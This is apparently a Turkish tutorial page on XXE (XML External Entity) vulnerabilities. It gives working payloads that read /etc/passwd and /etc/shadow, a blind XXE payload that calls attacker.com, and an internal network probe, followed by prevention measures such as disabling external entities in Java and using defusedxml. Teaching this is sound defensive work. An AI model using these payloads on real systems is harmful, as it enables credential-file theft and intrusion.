Skip to content

xxe.md

Latest commit

 

History

History
159 lines (119 loc) · 6.15 KB

xxe.md

File metadata and controls

159 lines (119 loc) · 6.15 KB
Raw

XXE (XML External Entity) Nedir?

XXE (XML External Entity), XML verisinin işlendiği sistemlerde, kötü niyetli aktörlerin XML dosyası içinde tanımlanmış harici bir varlığı (external entity) kullanarak hassas dosyalara erişim sağlaması, kod yürütmesi veya hizmet reddine (DoS) neden olmasıdır. XXE saldırıları genellikle güvenlik önlemleri eksik olan XML işleyicilerinden kaynaklanır.

Temel Örnek

Aşağıdaki XML, basit bir XXE saldırısı örneğidir.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

Açıklama

Bu XML kodu, XXE saldırısında kullanılan bir "payload"dır. Şimdi bunu satır satır inceleyelim:

  1. Satır:

Burada file adında bir harici entity tanımlanıyor. SYSTEM anahtar kelimesi ile yerel bir dosya olan /etc/passwd dosyasına erişim sağlanıyor. file:///etc/passwd: Unix/Linux sistemlerde kullanıcı bilgilerinin yer aldığı dosyadır. 2. Satır: ">

Burada eval adında bir entity tanımlanıyor. eval entity'si, %file içeriğini bir başka entity'ye geçiriyor. %: Bu hexadecimal değeri % karakterini temsil eder. Böylece %file entity'sinin değeri (file:///etc/passwd'deki veri) exfil adlı yeni entity'ye dahil edilmiş olur. 3. Satır: %eval;

%eval; ile yukarıda tanımlanan eval entity'si tetiklenir. Bu işlem sonucu %file entity'si exfil adında yeni bir entity'ye aktarılır. 4. Satır: %exfil;

%exfil; entity'si çağrılarak file:///etc/passwd dosyasındaki veriler XML işlemcisi tarafından okunmaya çalışılır.

Açıklama

1. <!DOCTYPE foo>

  • DOCTYPE (Document Type Definition): XML belgesinin yapısını tanımlamak için kullanılır.
  • foo: Bu bir isimdir ve genelde anlamlı olması gerekmez. XML belgesine bir "tip" vermek için kullanılır.

2. <!ENTITY xxe SYSTEM "file:///etc/passwd">

  • ENTITY (Varlık Tanımı): XML içinde kullanılacak bir varlığı (entity) tanımlamak için kullanılır.
    • xxe: Bu, tanımlanan varlığın adıdır. Daha sonra &xxe; ile çağrılır.
  • SYSTEM: Harici bir kaynağı işaret eder.
    • Burada file:///etc/passwd belirtilmiştir. Bu, saldırganın sunucunun dosya sistemindeki hassas bir dosyaya erişmeye çalıştığı anlamına gelir (Linux sistemlerinde /etc/passwd, kullanıcı bilgilerini içerir).

3. <productId>&xxe;</productId>

  • &xxe;: Yukarıda tanımlanan harici varlık burada çağrılıyor. Bu, /etc/passwd dosyasının içeriğini alıp XML çıktısına eklemeye çalışır.

Neden Gerekli?

Bu yapı, kötü niyetli bir saldırganın XML işlemcisini istismar edebilmesi için gereklidir:

  • DOCTYPE ve ENTITY olmadan harici bir varlık tanımlanamaz.
  • SYSTEM olmadan, sunucunun dosya sistemine veya harici kaynaklara erişim mümkün değildir.

Beklenen Etki: Sunucu, /etc/passwd dosyasının içeriğini döndürebilir, böylece saldırgan hassas bilgiler elde eder.

Daha İleri Seviye XXE Payload'ları

1. Sunucu Dosyalarına Erişim

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

Amaç:

  • Bu payload, Linux sisteminde kullanıcı şifrelerinin hash'lerini saklayan etc/shadow dosyasına erişmeye çalışır.

Risk:

  • Erişim sağlanması durumunda, saldırgan brute force veya hash kırma araçlarıyla kullanıcı şifrelerini çözebilir.

2. Harici Sunucu ile İletişim (Blind XXE)

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious-data"> 
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

Amaç:

  • Harici bir sunucuya (ör. saldırganın kontrolündeki attacker.com) veri sızdırmak veya sistemin ağ içinde hangi kaynaklara erişebileceğini keşfetmek.

Senaryo:

  • Eğer sunucu dış bağlantılara izin veriyorsa, bu saldırı hassas bilgilerin (örn. erişim token'ları veya sistem yapılandırma bilgileri) harici sunucuya gönderilmesine neden olabilir.

3. Ağ İçi Keşif ve Port Taraması

Payload:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> 
]>
<stockCheck>
  <productId>&xxe;</productId>
</stockCheck>

Amaç:

  • Sunucunun ağ içinde hangi dahili sistemlere erişebildiğini belirlemek.
  • Dahili sunucu hizmetlerini keşfetmek (örn. http://internal.vulnerable-website.com).

Risk:

  • Dahili hizmetlere erişim sağlanırsa, saldırgan sistemler arasında zafiyet arayabilir.

XXE Önleme Yöntemleri

  1. Dış Varlıkları Devre Dışı Bırakma

    • XML işlemcisinde harici varlıkları devre dışı bırakmak en etkili yöntemlerden biridir.
    • Örneğin, Java'da harici varlıkları devre dışı bırakmak: 
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

  2. Güvenli XML İşleme Kütüphaneleri Kullanma

    • Harici varlıkları varsayılan olarak devre dışı bırakan güvenli kütüphaneler tercih edilmelidir (örn. defusedxml Python için).

  3. Input Doğrulama ve Filtreleme

    • Kullanıcıdan gelen XML girişini doğrulamak ve potansiyel zararlı içerikleri filtrelemek.

  4. XML Yerine JSON Kullanımı

    • Mümkünse, JSON gibi daha az karmaşık ve daha güvenli veri formatlarına geçiş yapılabilir.

Özet

XXE saldırıları, zayıf yapılandırılmış XML işleyicilerinde ciddi güvenlik riskleri oluşturur. Bu zafiyetleri anlamak ve önleyici önlemler almak, uygulama güvenliği açısından kritik öneme sahiptir.